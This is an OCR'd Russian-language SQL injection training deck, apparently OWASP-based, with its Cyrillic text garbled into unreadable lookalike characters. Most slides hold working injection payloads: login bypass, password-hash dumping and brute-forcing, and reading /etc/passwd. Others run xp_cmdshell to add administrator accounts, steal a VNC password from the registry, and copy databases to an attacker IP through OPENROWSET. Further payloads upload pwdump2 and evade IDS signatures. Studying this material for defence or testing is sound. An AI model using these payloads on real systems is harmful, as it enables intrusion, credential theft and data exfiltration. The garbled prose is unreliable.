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Y10 Takoe SQL?

B SQL aBngercd ctaHaapToM Structured Query
Language
m [lpegocTaBngeT goctyn Kk bl

m ANSI and ISO standard computer language
» The most current standard is SQL99

B SQL MOXeT:
» BbINONHATL 3anpockl K b/l
» [lony4yaTb AaHHbIe 13 b/l
» BcTaBnATb HOBbIE 3anucu B b/1
» YpandaTtb 3anucu n3 b/
» 3MeHATb 3anucu B b/




SQL aBngerca CtTaHAaApTOM - HO...

H CylecTBYIOT pa3/inuHble BepCcun 43bika SQL

B OHM noanep>XMBaloT OAHU U Te XXe KJTioUYeBble
C/10Ba O/IMHAKOBbIM CNOCO6OM (Takme Kak
SELECT, UPDATE, DELETE, INSERT, WHERE, n
T.M.).

B bonblunHcTBO SQL B/l Takke nMeert ceBou
CO6CTBEHHbIe pacluMpeHuns B [I0NOJIHEHME K
CTaHaapTy SOL!




SQL Database Tables

B PengunoHHasa Bl coctouT n3 ogHOU UK HECKONMBbKUX
Tabnuu, naeHTnduunpyembix no NMeHu

m Tabnmubl cogepxaT 3anmucn (CTPoKM) € AaHHbIMU

B Hanpumep, cneayollasa Tabnuua Ha3biBaeTcs "users” u
COLEPXWUT [aHHble B CTPOKax un ctonbuax:

useriD Name LastName Login Password
1 John Smith jsmith hello
2 Adam Taylor adamt gwerty
3 Daniel Thompson | dthompson | dthompson
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SQL Queries

m C ncnonb3osaHmeM SQL, Mbl MOXeEM caenaTb
3anpoc K b/l U nony4ynTb MHOXECTBO
pe3y/bTaToB

B icnonb3ys npeabiayLuyo Tabnuuy, 3anpoc
MOXXET 6bITb TaKUM:

SELECT LastName
FROM users
WHERE UserID = 1;

M [lonyyeHHOEe MHOXEeCTBO pe3y/ibTaToB:
LastName




SQL Data Manipulation Language (DML)

B SQL BKIKOYaeT CMHTaKCUC ANngd U3SMEeHEeHUS,
BCTABKW U yAANEHUS 3arnnUCeN:
» SELECT - extracts data
» UPDATE - updates data
» INSERT INTO - inserts new data
» DELETE - deletes data




SQL Data Definition Language (DDL)

B The Data Definition Language (DDL) kak 4yactb SQL
MO3BOJIAET.
» Co3pgaBaTb win yaanatb Tabnuubl b/
» OnpenensaTtb nHaekcol (keys)
» YKa3blBaTb CBSA3M Mexay Tabnuuamu
» YKa3blBaTb OrpaHuyeHnsa mexxay Tabnumuamm bl

B Hanbonee yacto ucnosnb3lyemble yTeepxxaeHns DDL B
SQL :
» CREATE TABLE - creates a new database table
» ALTER TABLE - alters (changes) a database table
» DROP TABLE - deletes a database table




Metadata

B Almost all SQL databases are based on the
RDBM (Relational Database Model)

B BaxHbin dpakT ansa SQL Injection

» Amongst Codd's 12 rules for a Truly Relational
Database System:

4. Metadata (data about the database) AO/KHbI XpPaHUTBLCA B
B/l kKak U caMU AaHHbIe

» CnepoBaTtenbHO, CTPYKTYpY B[l MOXHO Takxe
NpoYnNTaTb U USMEHUTb C NOMOLLbIO SQL-3anpocoB
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Y10 TaKkoe SQL Injection?

BO3MOXXHOCTb BCTaBUTb SQL-KOMaHAbI
B CYb/] ¢ ncnonb3oBaHneM
CYLLECTBYIOLLEro NpuioXXKeHus




Ha CKOJ1bKO YyacTaf yA3BMMOCTb?

B Ha ceroaHawWHWUN aeHb 3TO Hanbonee yacto
MCNoNb3yeMas YSa3BUMOCTb BEO-CanUTOB!

B OTO KaHan yTe4yku, BO3HUKaoLWmMN npun pa3paboTkn Beb-
npunoxeHus, a He npobnema CYB/ nnn Beb-cepsepa
» BONbLIMHCTBO NPOrpaMMUCTOB HE 3HatoT 06 3Ton Npobneme

» BonbLloe KONMYecTBo WabnoHOB B pyKOBOACTBAX M AEMO-
BEPCUSIX YSA3BUMO

» bonee Toro, 60bLLIOE KONMNMYECTBO PELLEHUIN, NPeaaraeMbix B
NHTEpPHETE, HE AOCTAaTOYHO XOPOLUU

B In our pen tests over 60% of our clients turn out to be
vulnerable to SQL Injection
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Ya3BUMbie NpUIoXKeHUus

B [lpakTndecku Bce SQL Bl n a3bikn nporpaMMmUpoBaHUS
NOTeHUMaNIbHO YA3BUMbI

» MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase,
Informix, etc

B /[locTyn yepes3 npunoxeHus, padpaboTaHHbIe C UCNO/Ib30BaHUEM:
» Perl and CGI scripts that access databases

ASP, JSP, PHP

XML, XSL and XSQL

Javascript

VB, MFC, and other ODBC-based tools and APIs

DB specific Web-based applications and API's

Reports and DB Applications

3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)

many more

vV vV vV vV vV v v VY




Kak pabotaert SQL Injection?

TUNUYHBbIN YA3BMMbIN 3anpoc Ha BXopa
SELECT * FROM users
WHERE login = "victor"
AND password = '123"

(If it returns something then login!)

ASP/MS SQL Server login syntax
var sql = "SELECT * FROM users
WHERE login =" + formusr +
"" AND password =" + formpwd + """';




Injecting € ucnosib30BaHueM Strings

formusr="or 1=1 — —
formpwd = anything

OKOHuYaTesIbHbIX 3anpoc BbirNAAUT NoaobHo
3TOMY:
SELECT * FROM users
WHERE username ="' "or 1=1

— — AND password = 'anything'




Cuna’

B OHa 3aKpblBaeT CTPOKY NapaMeTpoB

W Bce, uTo nocne, cymTaeTcs 4YacTbio SQL-
KOMaHAb!
B OWwmnboYHO NpeanaraeTcs cneayroulee:
» Escape it! : replace ' with " °
W String fields are very common but there are
other types of fields:
» Numeric
» Dates




If It were numeric?

SELECT * FROM clients
WHERE account = 12345678
AND pin = 1111

PHP/MySQL login syntax

$sql = "SELECT * FROM clients WHERE " .
"account = $formacct AND " .

"pin = $formpin";




|
Injecting € NCNON1Ib30BaHUEM YUC/TOBbIX
noneun

$formacct =1 or 1=1 #
$formpin = 1111

OkOHuaTeNbHbIX 3anpoc BbIrNAAUT NoA06HO
3TOMY:

SELECT * FROM clients
WHERE account =1 or 1=1
# AND pin = 1111




CumBonbl gna SQL Injection

m'or" character String Indicators

m--or# single-line comment

m/*.*/ multiple-line comment

m+ addition, concatenate (or space in url)
m || (double pipe) concatenate

m % wildcard attribute indicator

B "Paraml=foo&Param2=bar URL Parameters
m PRINT useful as non transactional command
B @ variable local variable

B @@ variable global variable

m waitfor delay '0:0:10' time delay




MeToanonorus
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MeTtoponorusa tectupoBaHusa SQL Injection

1) Input Validation

3) 1=1 Attacks 5) OS Interaction
4) Extracting Data 6) OS Cmd Prompt
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1) NMNpoBepka BXOAHbIX AAQHHbIX

1) Input Validation

7) Expand Influence
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O6Hapy)xeHue ys3BMMOCTEN

B Ya3BUMOCTM MOryT ObITb Be3ae, ceayeT NpoBepsiTb
BCE€ BXOAHbIE AAHHDbIE:
» MNong Be6-popm
» [lapamMeTpbl CKPpUNTOB B CTpokax URL-3anpocoB
» XpaHUMble 3Ha4YeHnsa B cookies UM CKPbITbIX MONsAX

m By "fuzzing" we insert into every one:
» Character sequence: "'" ) # || + >
» SQL reserved words with white space delimiters

= 9009select (tab%09, carriage return%13, linefeed%10 and
space%32 with and, or, update, insert, exec, etc)

» Delay query ' waitfor delay '0:0:10'--
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2) Céop nHdpopmaLummn 06 ncnosibzyeMom
NMPUI0XKEeHUMn

2) Info. Gathering

7) Expand Influence
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2) Cé60p nHpOpMaLuM

B [lbiTaeMca BbIACHUTL crieaylollee:
a) MexaHun3M BbiBOAA
b) [NoHMMaHWe 3anpoca
c) OnpepeneHuwe Tvna b/
d) OnpepeneHve ypoBHS NPUBUIErMA MOSMb30BATENS
e) OnpepneneHne cnocobos B3anmoaencTamsa ¢ OC




a) OnpepeneHe MexaHU3MOB BbiBOAa

1. Wcnonb3ys Habopbl pe3ynbTaToB 3HAYEHUI B BED-
MPUNOXKEHUU

2. CoobLieHuns ¢ owmnbkomn

» SQL —3anpockl co c6oeM, KOTOopble CO3AaloT crieundunyeckme
THMbl coobLeHmnn 06 owmbkax, coaepXXallumx NepeMeHHbIE

3. Blind SQL Injection

» Wcnonb30BaTh 331€PXKKY BO BPEMEHWN UM CUTHATYPbl OLLMOOK
AN U3BNIeYEHUs MHpOpMaLUnn

» Takue Blind Injection sBnsatoTcs 6onee MmegeHHbIMU U
6onee C/IOXKHbIMMU

4. [pyrne mexaHun3Mbl
» e-mail, SMB, FTP, TFTP




N3BneueHne nicpopmauum ns coobuieHnm o6
owmnbkax

B [ pynnMpoBaHue owmnboK
' group by columnnames having 1=1 - -

B Ownbka Tnna
» 'union select 1,1,'text',1,1,1 - -
» 'union select 1,1, bigint,1,1,1 - -
= Where ‘text' or bigint are being united into an /nt column

» B B/l, KOTOpble NO3BONAIOT NOA3aNpPOChkl, yyLle
NCNONb30BaThb:
= 'and 1 in (select ‘text’) - -
» B HEKOTOpbIX Ciy4dasix MOXET NOHAA0OUTLCH BbINMONHUTL CAST

nnn CONVERT Hawwux AaHHbIX ANs reHepaummn coobueHnm ob
oLnbkax
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Blind Injection

B MO)XHO MCNO/b30BaTh Pa3/iNyHbIe N3BECTHbIE BbIXOAHbIE
3HA4YEHNA

» 'and condition and '1'="1

m /Inn MOXXHO UCMoNb30BaTh yTBepxxaeHue if
» ', If condition waitfor delay '0:0:5" --
» '; union select if( condition , benchmark (100000,
shal('test')), 'false' ),1,1,1,1;
N ﬂ,OI‘IOJ‘IHVITeJ'IbHO MOXXHO BbINOJIHATb BCE TWUMbl 3alpoOCOB,
HO 6e3 oTnago4YHoON MHopMaLmn!
B We get yes/no responses only
» We can extract ASCII a bit at a time...

» Very noisy and time consuming but possible with automated
tools like SQuealL
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b) MNoHMMaHue 3anpoca

B 3anpoc MOXET ObITb:
» SELECT
» UPDATE
» EXEC
» INSERT
» Unn 4yTto-TO BoNlee cnoXHoe

B KOHTeKCTHas NoMoLlb

» YTO pbopMa wnm cTpaHuULUa MbiTaeTcs caenatb C BXOAHbIMU
JAHHbIMN?

» Kakne nmeHa nonen, cookie nnn napameTpoB?




SELECT Statement

m Most injections will land in the middle of a
SELECT statement

mIn a SELECT clause we almost always end up In
the WHERE section:

» SELECT *
= FROM table
» WHERE X = ‘normalinput’ group by x having 1=1 --
= GROUP BY x
= HAVING x =y
= ORDER BY x




UPDATE statement

H /I3MeHeHne napong NpomcxoanT cneayowmMm
obpa3om

» UPDATE users

SET password = ‘new password’
WHERE login = Jogged.user
AND password = ‘old password’
» ECin BCTaBUTb B HOBbIN Maposb and KOMMEHTapun A0
KOHLUQA, MO>XHO N3SMEHUTb BCE MNMapoJin B Tabnuue!




OnpepeneHune CTpPyKTypbl 3anpoca SELECT

1. lMonbITaTbCA NOBTOPUTbL OLLUNOKY, NM3MEHSSA YTO-
TO
[0 Could be as simpleas "and '1' ="1
0 Or "and '1'="2

2. Co3paHue cneunduyeckmx owmbok

0 OnpepeneHne nMmeH Tabnuu, 1 cTonobLos
" group by columnnames having 1=1 --

0 Hy)xHa nu ckobka? Sensercs nm 310 NoA3arnpocoM?




lNlepea HaMmu XpaHuMas npoueaypa?

B MOXHO MCNONb30BaTb pa3/inyHbIe injections s
onpeaeneHusa Toro, YTo MOXHO, a UYTO Heslb34
caenatb

» @variable

» ?Paraml=foo&Param2=bar
» PRINT

» PRINT @@variable




3anyTaHHble 3anpochl

® \When we are in a part of a subquery or begin - end
statement
» We will need to use ckobku to get out

» Some functionality is not available in subqueries (for example
group by, having and further subqueries)

» In some occasions we will need to add an END

B When several queries use the input

» We may end up creating different errors in different queries, it
gets confusing!

B An error generated in the query we are interrupting may
stop execution of our batch queries

B Some queries are simply not escapable!
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c) Onpenenenue Tuna Cyb/l

m B 6onblumHCcTBE coobLeHnn 06 owmnbkax
coobuwaetca o CYB/], ¢ KOTOpon MMeeM Aeno
» ODBC errors will display database type as part of the
driver information
m If we have no ODBC error messages:

» We make an educated guess based on the Operating
System and Web Server

» Or we use DB-specific characters, commands or
stored procedures that will generate different error
messages




HekoTopble pa3nnuma

MS SQL Oracle Postgres
TsoL | MySQL | Access g sl | DPB2 ) pipgsaL
Concatenate g concat (" nmuponn T TEETEI T T TR
. + +
Strings ") & Il Il
Null Isnull() Ifnull() | Iffdsnull)) | Ifnull() | Ifnull() | COALESCE()
replace
Position | CHARINDEX | LOCATE() InStr() InStr() InStr() TEXTPOS()
oD S select into import
_ P _ys xp_cmdshell outfile / #Hdate# utf_file from Call
interaction dumpfile export to
Cast Yes No No No Yes Yes
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danbHeuwiune pasnmums...

MS SQL | MySQL | Access | Oracle | DB2 | Postgres
UNION Y Y Y Y Y Y
N 4.0

Subselects Y v 4.1 N Y Y Y
Batch Queries Y N* N N N Y
Default stored Many N N Many N N

procedures
Linking DBs Y Y N Y Y N




d) OnpeneneHue ypoBHSA NpUBUIErun
noJsib30BaTesNs

B CylLlecTBYyeT HeCKO/bKO BCTPOEHHbIX B SQL99
CKaNAPHbIX (PYHKLUNW, KOTOpbIE €CTb B 60/bLUMHCTBE
peanu3aumn SQL :

» user or current _user
» session _user
» system user

m'and 1in (select user) --

m'; if user ='dbo' waitfor delay '0:0:5 '--

B ' union select if( user() like 'root@%’,
benchmark(50000,shal('test')), 'false');




AaMmuHucTpaTopbl bl

B AKKAQYHTbl aAMUHUCTPaTopa N0 YMOMYaHUIO CneaytoLme:
» sa, system, sys, dba, admin, root and many others

B B MS SQL oHu MoryT oTobpaxaTtbcs B dbo:

» The dbo is a user that has implied permissions to perform all
activities in the database.

» Any member of the sysadmin fixed server role who uses a
database is mapped to the special user inside each database
called dbo.

» Also, any object created by any member of the sysadmin fixed
server role belongs to dbo automatically.




3) Atakm 1=1

\ 4

FI

| 3) 1=1 Attacks |

7) Expand Influence




OnpepeneHue CTpyktypbl bl

m OnpegeneHve nMeH Tabnuy n ctonbuos
"' group by columnnames having 1=1 --

B Haxo)XxaeHune TMnos MMeH ctonbuos

"union select sum(columnname ) from
tablename --

B [lepeyncneHne nonb3oBaTeneun, onpeaeneHHbIX
B Tabnuuax

"and 1 in (select min(name) from sysobjects
where xtype = 'U' and name > ".") --

©




Nepeuncnenme cronbuos Tabnuy B
pa3sindHbix bl

m MS SQL

» SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects
WHERE name = ‘tablename ")

» sp_columns tablename (this stored procedure can be used instead)
m MySQL

» show columns from tablename
m Oracle

» SELECT * FROM all_tab columns
WHERE table_name='tablename'’
m DB2
» SELECT * FROM syscat.columns
WHERE tabname= 'tablename'’
B Postgres
» SELECT attnum,attname from pg_class, pg_attribute

WHERE relname= 'tablename
AND pg_class.oid=attrelid AND attnum > 0




Bce Tabnuubl n ctonbubl B 0O4HOM 3anpoce

B ' union select 0, sysobjects.name + '. ' +
syscolumns.name + ': ' + systypes.name, 1, 1,
'1,1,1,1, 1,1 from sysobjects, syscolumns,
systypes where sysobjects.xtype = 'U' AND
sysobjects.id = syscolumns.id AND
syscolumns.xtype = systypes.xtype --




NMonyuyeHue cnucka 6a3 gaHHbIX

mIn MS SQL Server, the databases can be gueried
with master..sysdatabases

» Different databases in Server

» "and 1 in (select min(name) from
master.dbo.sysdatabases where name >'.") --

» File location of databases

= "and 1 in (select min(filename ) from
master.dbo.sysdatabases where filename >'.") --




System Tables

m Oracle B MS Access
» SYS.USER_OBJECTS » MsysACEs
» SYS.TAB :
» SYS.USER_TEBLES > MsysObJegts
» SYS.USER VIEWS » MsysQueries
» SYS.ALL TABLES » MsysRelationships
» SYS.USER_TAB_COLUMNS
» SYS.USER_CATALOG
m MvSOL - m MS SQL Server
ysQ | » sysobjects
g mysql.Eser » syscolumns
» mysql.host b systypes
» mysqgl.db

» sysdatabases




4) U3BneyeHue AaHHbIX

\ 4

4) Extracting Data

7) Expand Influence
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NepexBaT naposen

B Grabbing username and passwords from a User
Defined table

» '; begin declare @var varchar(8000)
set @var=":"' select @var=@var+'
'+|login+'/"+password+"
from users where login>@var
select @var as var into temp end --

»'and 1 in (select var from temp) --
» ' ; drop table temp --




Co3paHue akkayHTOoB b/l

MS SQL
» exec sp_addlogin 'victor', 'Pass123'
» exec sp_addsrvrolemember 'victor', 'sysadmin'’
MySQL
» INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost’,
PASSWORD('Pass123"))
Access
» CREATE USER victor IDENTIFIED BY 'Pass123'

Postgres (requires UNIX account)
» CREATE USER victor WITH PASSWORD 'Pass123'

Oracle

» CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;

» GRANT CONNECT TO victor;
» GRANT RESOURCE TO victor;




NepexBaT MS SQL Server Hashes

B An easy query:
» SELECT name, password FROM sysxlogins

B But, hashes are varbinary

» To display them correctly through an error message we need to
Hex them

» And then concatenate all
» We can only fit 70 name/password pairs in a varchar
» We can only see 1 complete pair at a time

m Password field requires dbo access

» With lower privileges we can still recover user names and brute
force the password




Y10 AenaTtb?

B X35LWM N3BNEKAKTCA C UCMOJIb30BaHUEM
» SELECT password FROM master..sysxlogins

B We then hex each hash
begin @charvalue='0x', @i=1, @length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF'
while (@i<=@length) BEGIN
declare @tempint int, @firstint int, @secondint int

select @tempint=CONVERT (int,SUBSTRING(@binvalue,@i,1))

select @firstint=FLOOR(@tempint/16)

select @secondint=@tempint - (@firstint*16)

select @charvalue=@charvalue + SUBSTRING (@hexstring, @firstint+1,1) +
SUBSTRING (@hexstring, @secondint+1, 1)

select @i=@i+1 END
B And then we just cycle through all passwords




Extracting SQL Hashes

m It is a long statement

'; begin declare @var varchar(8000), @xdatel datetime, @binvalue
varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring
char(16) set @var=":" select @xdatel=(select min(xdatel) from
master.dbo.sysxlogins where password is not null) begin while @xdatel <=
(select max(xdatel) from master.dbo.sysxlogins where password is not null)
begin select @binvalue=(select password from master.dbo.sysxlogins where
xdatel=@xdatel), @charvalue = '0x', @i=1, @length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF' while (@i<=@length) begin declare
@tempint int, @firstint int, @secondint int select @tempint=CONVERT(int,
SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select
@secondint=@tempint - (@firstint*16) select @charvalue=@charvalue +
SUBSTRING (@hexstring, @firstint+1,1) + SUBSTRING (@hexstring,
@secondint+1, 1) select @i=@i+1 end select @var=@var+" |
'+name+'/'+@charvalue from master.dbo.sysxlogins where xdatel=@xdatel
select @xdatel = (select isnull(min(xdatel),getdate()) from master..sysxlogins
where xdatel>@xdatel and password is not null) end select @var as x into

temp end end --




N3BeueHue x3ueu C NoOMOoLLbH coobLeHnn 06
oumnbrkax

m' and 1 in (select x from temp) --

m' and 1 in (select substring (x, 256, 256) from
temp) --

m' and 1 in (select substring (x, 512, 256) from
temp) --

Hetc...
' drop table temp --




Brute forcing Passwords

B Passwords can be brute forced by using the attacked server to do
the processing

B SQL Crack Script
» create table tempdb..passwords( pwd varchar(255) )
» bulk insert tempdb..passwords from ‘c:\temp\passwords.txt'

» select name, pwd from tempdb..passwords inner join sysxlogins on
(pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name,
name from sysxlogins where (pwdcompare( name,
sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from
sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where
sysxlogins.password is null and syslogins.isntgroup=0 and
syslogins.isntuser=0

» drop table tempdb..passwords




[lepecbl/iKa CTPYKTYPbl U AaHHbIX B[]

H [loCcne Toro, Kak ceteBoe coeguHeHune
NPOTECTUPOBAHO

B SQL Server MOXeT yCTaHOBUTb 0bpaTHoe
coeanHeHue ¢ b/l aTakyloLwero, MCNosb3y4
OPENROWSET

B CTpyKTypa b/l pennnumpyeTtcs
B /laHHble NepeaaloTcy

B OTO BCE MOXXHO BbIMO/HUTbL, COEAUHSASACH C
yaaneHHbiM noptoM 80!




Co3pgaHMe MAEHTUYHOMU CTPYKTYpb! B4

'; Insert into
OPENROWSET('SQLoledb’,
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select *
from mydatabase..hacked sysdatabases')
select * from master.dbo.sysdatabases --

'; Insert into
OPENROWSET(*'SQLoledb’,
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select *
from mydatabase..hacked sysdatabases')
select * from user_database.dbo.sysobjects --

'; Insert into
OPENROWSET('SQLoledb’,
‘'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked syscolumns')
select * from user_database.dbo.syscolumns --




lNepecbinka bl

': Insert into
OPENROWSET(*'SQLoledb,
‘uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..tablel")
select * from database..tablel --

': insert into
OPENROWSET(*'SQLoledb,
‘uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..table2")
select * from database..table2 --




5) Bzanmopeuncremne ¢ OC

\ 4

 ZE—

5) OS Interaction

7) Expand Influence
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B3anmopaeucreue c OC

m /IBa cnocoba B3anmoaencteus ¢ OC:

1. YTeHue n 3anucb CUCTEMHbIX anoB C ANCKA
=  HawnTtu naponm n KoHUrypaumnoHHble annol
*  I3MEHUTb Napoan N KOHMUrypaumio

*  BbINOMHWUTBL KOMaHAbI, NEPe3anucbiBaloLLInNe
MHULNANM3aLmio NN KoOHMOUrypaLnoHHble hannbi

2. HenocpeactBeHHOE BbINOMHEHWE KOMaHAb!
= MoXHO caenaTb BCE
m O6a cnocoba orpaHnyeHbl MPUBUIIErNSIMA U
pa3peLleHns MU, C KOTOPbIMU BbINO/THAETCS

b/l
€




MySQL OS Interaction

B MySQL
» LOAD FILE
= " union select 1,load_file('/etc/passwd'),1,1,1;

» LOAD DATA INFILE

= create table temp( line blob );
» |oad data infile '/etc/passwd' into table temp;
= select * from temp;

» SELECT INTO OUTFILE




MS SQL OS Interaction

m MS SQL Server

» '; exec master..xp_cmdshell 'ipconfig > test.txt' --

» '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp
FROM 'test.txt' --

» '; begin declare @data varchar(8000) ; set @data='| ' ; select
@data=@data+txt+' | ' from tmp where txt<@data ; select
@data as x into temp end --

» "and 1 in (select substring(x,1,256) from temp) --

» '; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --




ApXUTEeKTypa

B To keep in mind always!

B Injection 60/bLUYIO YacTb BPEMEHW BbIMOHAETCS Ha
NPYyroM cepeepe

B CepBep b/l MOXeT AaXe He MMETb A0CTYNa K UHTEPHETY

Web Server Application Server Database Server

Web Input Injected SQL
Page Validation Execution!
Access Flaw
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OLueHKa ceTeBoro coeamHeHus

B /M5 cepBepa 1 KOHPUrypaums
» "and 1 in (select @@servername ) --
» "and 1 in (select srvname from master..sysservers) --

» NetBIOS, ARP, Local Open Ports, Trace route?

B O6paTHble coeanHeHns
» nslookup, ping
» ftp, tftp, smb

B Cnenyet nportectnpoBaTb M3 1 NpoKcu




Nony4yeHnue IP information, UCNOJNIb3yH
reverse lookups

B Reverse DNS
» ', exec master..xp_cmdshell 'nslookup a.com MyIP' --

B Reverse Pings
» ', exec master..xp_cmdshell 'ping MyIP" --

B OPENROWSET

» '; select * from OPENROWSET( 'SQLoledb’, 'uid=sa;
pwd=Pass123; Network=DBMSSOCN;
Address=MyIP,80;",

'select * from table")




CeTeBas pa3Beaka

m Ilcnonb3ysa xp_cmdshell, MOXXHO BbIMOSTHUTb
cnegyollme KoMaHabl:
» Ipconfig /all
» Tracert mylP
» arp -a
» nbtstat -c
» netstat -ano
» route print




MonHbIN 3anpoc AN BbINOJIHEHUS CETEBOU
pa3Beaku

W '; declare @var varchar(256); set @var = ' del test.txt && arp -
a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >>
test.txt && netstat -ano >> test.txt && route print >> test.txt
&& tracert -w 10 -h 10 google.com >> test.txt'; EXEC
master..xp_cmdshell @var --

m '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp
FROM 'test.txt' --

m '; begin declare @data varchar(8000) ; set @data=": ' ; select
@data=@data+txt+' | ' from tmp where txt<@data ; select
@data as x into temp end --

m 'and 1 in (select substring(x,1,255) from temp) --

m '; declare @var sysname; set @var = 'del test.txt'; EXEC
master..xp_cmdshell @var; drop table temp; drop table tmp --

©




6) OS Cmd Prompt

\ 4

\ 4
6) OS Cmd Prompt

7) Expand Influence

OWASP e 64




Jumping to the OS

m Linux based MySQL
» ' union select 1, (load_file('/etc/passwd')),1,1,1;

B MS SQL Windows Password Creation
» ', exec Xp_cmdshell 'net user /add victor Pass123'--

» ', exec xp_cmdshell 'net localgroup /add
administrators victor' --

W Starting Services

» '; exec master..xp_servicecontrol 'start','"FTP
Publishing' --




Using ActiveX Automation Scripts

Speech example

» '; declare @o Int, @var int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'x', 'X'
exec sp_oasetproperty @o, 'speed’, 150
exec sp_oamethod @o, 'speak’, NULL, ‘'warning, your
sequel server has been hacked!’, 1

waitfor delay '00:00:03' --




NonyyeHnume VNC napons u3s peecrpa

m'; declare @out binary(8)
exec master..xp_regread
@rootkey="HKEY LOCAL MACHINE',
@key='SOFTWARE\ORL\WIinVNC3\Default',
@value_name='Password’,
@value = @out output
select cast(@out as bigint) as x into TEMP--

m' and 1 in (select cast(x as varchar) from
temp) --
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7) PaclumpeHue BIMSSHUA Ha Apyrue
NMPpUIOXKEHUS UK cepBepa

\ 4

. ZEE—

7) Expand Influence




lNepexon Ha gpyrme cepsepa b/}

B HaxoXxaeHne CcBA3aHHbIX cepBepoB B MS SQL
» select * from sysservers

m /lcnonb3ya koMaHay OPENROWSET, MOXHO
NIErKO NEPENTU Ha 3TU CepBepa

B MO>XHO MPUMEHUTDb TY XKEe CaMylo CTpaTeruio
ncnonb3oBaHna OPENROWSET ans for reverse
connections




Linked Servers

- insert into
OPENROWSET('SQLoledb’,
‘'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;’,
'select * from mydatabase..hacked sysservers')
select * from master.dbo.sysservers

- insert into
OPENROWSET('SQLoledb’,
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;’,
'select * from mydatabase..hacked linked sysservers")
select * from LinkedServer.master.dbo.sysservers

- insert into
OPENROWSET('SQLoledb’,
‘'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;’,
'select * from mydatabase..hacked _linked sysdatabases")
select * from LinkedServer.master.dbo.sysdatabases




-
yaaneHHoe BbiNnoJ/IHeHUue XpaHUMBbIX

npoueayp

m Ecnv ynaneHHbIM cepBep CKOH(PUIYpMpoBaH Tak, YTOObI pa3peLuaTb
BbINOJIHEHME TO/IbKO XpaHUMbIX Npoueayp, cneayet caenatb
cnepyroline n3MeHeHus:

Insert into

OPENROWSET('SQLoledb’,

‘'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;", 'select *
from mydatabase..hacked_sysservers')

exec Linked Server.master.dbo.sp_executesgl N'select * from
master.dbo.sysservers'

Insert into
OPENROWSET('SQLoledb’,

‘'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;", 'select *
from mydatabase..hacked sysdatabases')

exec Linked Server.master.dbo.sp _executesqgl N'select * from
master.dbo.sysdatabases'




3arpy3ka ¢hannoB C NOMOLLbIO 06paTHOro
coeaunHeHuau

m '; create table AttackerTable (data text) --

B '; bulk insert AttackerTable --
from 'pwdump?2.exe’ with (codepage='"RAW")

B '; exec master..xp_regwrite
'HKEY LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLSer
ver\Client\ConnectTo'," MySrvAlias','REG_SZ','DBMSSOCN,
MyIP, 80" --

B '; exec Xp_cmdshell 'bcp "select * from AttackerTable"

gueryout pwdump?2.exe -¢ -Craw -SMySrvAlias -Uvictor -
PPass123" --
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3arpy3ka cpannos ¢ nomoubto SQL Injection

m If the database server has no Internet
connectivity, files can still be uploaded

B Similar process but the files have to be hexed
and sent as part of a query string

m Files have to be broken up into smaller pieces
(4,000 bytes per piece)




|
NMpumMep 3arpyskm panna c nomMoLwybro SQL
Injection
m Becb Habop 3anpocoB 60bLLOV
B Bo-nepBbiX HE06X0AMMO BCTAaBUTb XPaHUMYIO

npoueaypy A8 yaaneHHoW KOHBepTaumn hex B
binary

B 3aTeM HeobXxoamMo BCTaBUTb binary Kak hex B
4000 byte chunks

» ' declare @hex varchar(8000), @bin varchar(8000)
select @hex = '4d5a900003000...
< 8000 hex chars -...0000000000000000000" exec
master..sp_hex2bin @hex, @bin output ; insert
master..pwdump?2 select @bin --

B HakoHeLl KOHKaTeHMpoBaThb binaries U caenathb
namn gamna Ha AUCK. ®
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TexHonornmm oébxoana

B TexHonorum obxon NpoBEPKN AENCTBUTENbHOCTH
BXOAHbIX AAHHbIX U YKIOHEHME OT IDS o4eHb
NMOXOXMU

B OcHOBaHHOe Ha Snort onpepeneHue SQL
Injection YaCTUYHO NOAXOAUT, HO NMoJslaraeTcs Ha
CUrHaTypbI

m CMrHaTypbl MOXHO NIErko 060MTH

B [1poBepKa AENCTBUTENbHOCTM BXOAHbIX AAHHbIX,
onpeaenenua IDS N ycuneHHble B n OC
OOJIKHbI MCMOMb30BaTbCA BMECTe

©




YKJIOHEeHHne OT CUrHaTypHou DS

Evading ' OR 1=1 signature

B ' OR 'unusual' = 'unusual’

B ' OR 'something' = 'some'+'thing’
B ' OR 'text’ = N'text'

B ' OR 'something’' like 'some%b’
m'OR2>1

B OR 'text' > 't

' OR 'whatever' IN (‘whatever")
m' OR 2 BETWEEN 1 AND 3




NMpoBepka 4eMCTBUTENIbHOCTU BXOAHbDIX
AaHHbIX

B YacTto ucnonbsyertca PHP addslashes() function
ans u3basneHus ot CUMBOJIOB
» single quote ()
» double quote (")
» backslash (\)
» NUL (the NULL byte)

B OTO MOXHO J1erko 06omnTun, 3aMeHss nobon 13
